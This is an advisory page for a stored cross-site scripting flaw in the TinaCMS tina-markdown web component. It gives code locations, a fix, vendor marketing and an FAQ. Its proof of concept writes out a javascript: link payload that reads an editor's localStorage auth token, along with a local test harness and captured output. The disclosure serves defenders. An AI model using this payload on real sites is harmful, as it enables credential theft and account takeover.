CVE-2026-108260

CVE-2026-108260 is a high-severity cross-site scripting (XSS) vulnerability in @tinacms/web-components (npm), affecting versions <= 0.2.0. It is fixed in 0.2.1.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

@tinacms/web-components: tina-markdown writes rich-text link URLs into href without scheme validation, allowing stored XSS

<tina-markdown> renders a rich-text AST into the DOM and, for a nodes, assigns the node's URL straight to the anchor's href with no scheme check. A link authored in the CMS as javascript:… renders as a live javascript: anchor, so a visitor who clicks it executes attacker-supplied script in the site's origin. Every sibling renderer in the repository already sanitizes these URLs; this one does not.

Details

The unvalidated sink:

packages/@tinacms/web-components/src/tina-markdown.js:67-69
  if (node.type === 'html' || node.type === 'html_inline') {
    return DOMPurify.sanitize(node.value, { RETURN_DOM_FRAGMENT: true });
  }
packages/@tinacms/web-components/src/tina-markdown.js:75    if (node.url && node.type === 'a') el.href = node.url;
packages/@tinacms/web-components/src/tina-markdown.js:76    if (node.url && node.type === 'img') el.src = node.url;

node.url comes from the content attribute the site populates from the TinaCMS content API (:169-176), i.e. whatever a content author typed into a rich-text field. The DOMPurify call at :68 handles only raw-HTML node values and returns before the anchor branch, so it never inspects node.url. Line 75 is a direct property assignment, no HTML parser, no sanitizer. The mode: 'open' shadow root (:164-167) provides no script isolation.

The guard that exists in every sibling renderer:

packages/@tinacms/mdx/src/sanitize-url.ts:10          allowedSchemes = ['http','https','mailto','tel','xref']
packages/tinacms/src/rich-text/index.tsx:335            <a href={sanitizeUrl(child.url)}>
packages/tinacms/src/rich-text/index.tsx:322            <img src={sanitizeUrl(child.url)} .../>
packages/tinacms/src/rich-text/static.tsx:254           <a href={sanitizeUrl(child.url)}>
packages/tinacms/src/rich-text/static.tsx:242           <img src={sanitizeUrl(child.url)} .../>
packages/@tinacms/astro/src/LinkNode.astro:19           <a href={sanitizeHref(node.url)}>
packages/@tinacms/astro/src/ImageNode.astro:16          <img src={sanitizeImageSrc(node.url)} .../>

tina-markdown.js:75 is the only rich-text link sink in the repository that omits it, six of seven sanitize.

That this is an oversight rather than intent: the 0.2.0 changelog entry states the goal of "matching the components prop on the React and Astro renderers" while adding DOMPurify for html nodes, and packages/@tinacms/web-components/src/tina-markdown.test.ts:83-96 only asserts that an https://example.com link renders, no scheme case is covered either way.

Default-enabled: customElements.define('tina-markdown', TinaMarkdown) runs at module scope (:179); importing the published entry point is the whole setup, with no option object or sanitizer setting.

Suggested fix, reuse the existing dependency-free subpath export rather than adding a third implementation:

import { sanitizeUrl } from '@tinacms/mdx/sanitize-url';
if (node.url && node.type === 'a') el.href = sanitizeUrl(node.url);
if (node.url && node.type === 'img') el.src = sanitizeUrl(node.url);

Variant with the same root cause and the same fix: :76 (img.src). A javascript: URL does not execute from img.src, so it is not scored here, but the line has no validation either, which is why @tinacms/astro carries a separate sanitizeImageSrc.

PoC

Safe, local, non-destructive. One loopback server stands in for a public site rendering CMS rich-text. The page loads tina-markdown.js byte-for-byte from the checkout (bundled with its declared dompurify dependency) and also exposes the repository's own sanitizeUrl so the same input can be run through the canonical guard as a control. No traffic leaves the machine; the payload only writes a page-local variable.

Environment used: Linux, Node v22.23.1, Google Chrome (/usr/bin/google-chrome) driven by [email protected].

Setup

git clone https://github.com/tinacms/tinacms.git tinacms-poc
cd tinacms-poc && git checkout 0d38acfdd23143384b8787d5d772b713fa7af163
REPO=$PWD

mkdir -p /tmp/tina-tm/site && cd /tmp/tina-tm
npm init -y >/dev/null
npm i --ignore-scripts [email protected] [email protected] [email protected]

cp "$REPO/packages/@tinacms/web-components/src/tina-markdown.js" ./tina-markdown.js
cp "$REPO/packages/@tinacms/mdx/src/sanitize-url.ts"             ./sanitize-url.ts

entry.js:

import './tina-markdown.js';                       // registers <tina-markdown>
import { sanitizeUrl } from './sanitize-url.ts';   // the canonical guard, for the control
window.__sanitizeUrl = sanitizeUrl;

site/index.html, the AST is what @tinacms/graphql returns for the markdown source [click me](javascript:…):

<!doctype html><html><head><title>public site rendering CMS rich-text</title></head>
<body>
<h1>Site page</h1>
<div id="host"></div>
<script type="module" src="/bundle.js"></script>
<script type="module">
  const ast = {
    type: 'root',
    children: [
      { type: 'p', children: [
        { type: 'a',
          url: "javascript:window.__pwned=document.domain+' | localStorage[tinacms-auth]='+localStorage.getItem('tinacms-auth');void 0",
          children: [{ type: 'text', text: 'click me' }] }
      ]}
    ]
  };
  // Stand-in for a signed-in editor's stored TinaCMS credential. The real key and
  // value are written by packages/tinacms/src/internalClient/authProvider.ts:117.
  localStorage.setItem('tinacms-auth', 'DEMO-EDITOR-TOKEN');
  const el = document.createElement('tina-markdown');
  el.setAttribute('content', JSON.stringify(ast));
  document.getElementById('host').appendChild(el);
  window.__ready = true;
</script>
</body></html>

run.cjs:

const http=require('http'),fs=require('fs'),path=require('path'),{chromium}=require('playwright');
const PORT=8811, DIR=path.join(__dirname,'site');
const srv=http.createServer((req,res)=>{const p=req.url==='/'?'/index.html':req.url.split('?')[0];
 const f=path.join(DIR,p); if(!f.startsWith(DIR)||!fs.existsSync(f)){res.writeHead(404).end('nf');return;}
 res.writeHead(200,{'content-type':p.endsWith('.js')?'text/javascript':'text/html; charset=utf-8'});
 res.end(fs.readFileSync(f));});
(async()=>{await new Promise(r=>srv.listen(PORT,'127.0.0.1',r));
 const browser=await chromium.launch({executablePath:'/usr/bin/google-chrome'});
 const page=await browser.newPage();
 await page.goto(`http://127.0.0.1:${PORT}/`);
 await page.waitForFunction(()=>window.__ready===true); await page.waitForTimeout(300);
 const rendered=await page.evaluate(()=>{const a=document.querySelector('tina-markdown').shadowRoot.querySelector('a');
   return {hrefAttr:a&&a.getAttribute('href')};});
 await page.evaluate(()=>document.querySelector('tina-markdown').shadowRoot.querySelector('a').click());
 await page.waitForTimeout(500);
 const pwned=await page.evaluate(()=>window.__pwned||null);
 const control=await page.evaluate(()=>window.__sanitizeUrl("javascript:window.__pwned = document.domain"));
 console.log(JSON.stringify({renderedAnchorHref:rendered.hrefAttr, scriptExecutedOnClick:pwned!==null,
   capturedByPayload:pwned, control_sanitizeUrl_output:control},null,2));
 await browser.close(); srv.close();})();

Run

cd /tmp/tina-tm
npx esbuild entry.js --bundle --outfile=site/bundle.js --format=esm --loader:.ts=ts
node run.cjs

Observed output (captured verbatim)

{
  "renderedAnchorHref": "javascript:window.__pwned=document.domain+' | localStorage[tinacms-auth]='+localStorage.getItem('tinacms-auth');void 0",
  "scriptExecutedOnClick": true,
  "capturedByPayload": "127.0.0.1 | localStorage[tinacms-auth]=DEMO-EDITOR-TOKEN",
  "control_sanitizeUrl_output": ""
}

Expected vulnerable output, renderedAnchorHref is the attacker-supplied javascript: string unchanged (no scheme validation at the sink), scriptExecutedOnClick is true, and capturedByPayload contains the page's own domain plus the value read out of localStorage['tinacms-auth'] (script ran in the site origin with full read access to that origin's storage). All held.

Control, control_sanitizeUrl_output is "". The repository's own sanitizeUrl, invoked in the same browser realm on the same class of input, rejects the scheme. That is exactly what packages/tinacms/src/rich-text/index.tsx:335 and packages/@tinacms/astro/src/LinkNode.astro:19 do for the identical AST, which isolates the defect to the missing call rather than to the input or the harness.

Second control, internal to the same file: an html node carrying <a href="javascript:alert(1)">x</a> is stripped by the DOMPurify call at :68, so the same payload delivered as raw HTML is blocked while the same payload delivered as a link node is not.

Cleanup

rm -rf /tmp/tina-tm

The PoC was re-run after this report was drafted; the JSON above is that run.

Credits

  • Thai Son Dinh from VinSOC Labs (R&D)

Impact

Stored cross-site scripting via an unvalidated URL scheme in a link attribute. A user whose only capability is editing content gains script execution in every visitor's browser session on the site's origin. Because TinaCMS's documented layout serves the admin from the same origin (public/admin/) and stores the editor token in localStorage under tinacms-auth (packages/tinacms/src/auth/authenticate.ts:5, written at packages/tinacms/src/internalClient/authProvider.ts:117), a clicking visitor who is themselves an editor or administrator exposes that credential, the PoC reads it.

Impacted: any site rendering TinaCMS rich-text through <tina-markdown>. That component exists precisely for non-React sites, i.e. the deployments that do not get tinacms's sanitized React renderer.

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

CVE-2026-108260 has a CVSS score of 7.6 (High). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.2.1); upgrading removes the vulnerable code path.

Affected versions

@tinacms/web-components (<= 0.2.0)

Security releases

@tinacms/web-components → 0.2.1 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade @tinacms/web-components to 0.2.1 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-108260? CVE-2026-108260 is a high-severity cross-site scripting (XSS) vulnerability in @tinacms/web-components (npm), affecting versions <= 0.2.0. It is fixed in 0.2.1. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
  2. How severe is CVE-2026-108260? CVE-2026-108260 has a CVSS score of 7.6 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of @tinacms/web-components are affected by CVE-2026-108260? @tinacms/web-components (npm) versions <= 0.2.0 is affected.
  4. Is there a fix for CVE-2026-108260? Yes. CVE-2026-108260 is fixed in 0.2.1. Upgrade to this version or later.
  5. Is CVE-2026-108260 exploitable, and should I be worried? Whether CVE-2026-108260 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-108260 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-108260? Upgrade @tinacms/web-components to 0.2.1 or later.

Stop the waste.
Protect your environment with Kodem.